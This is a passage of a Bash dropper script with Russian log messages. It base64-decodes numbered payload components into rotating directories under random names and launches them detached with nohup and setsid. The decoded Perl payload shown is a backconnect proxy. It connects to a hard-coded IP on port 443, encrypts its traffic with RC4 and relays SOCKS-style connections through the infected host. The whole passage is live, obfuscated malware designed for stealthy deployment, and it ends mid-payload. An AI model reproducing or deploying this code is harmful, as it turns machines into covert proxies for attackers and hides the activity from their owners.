CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #49 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #49 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 50 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk 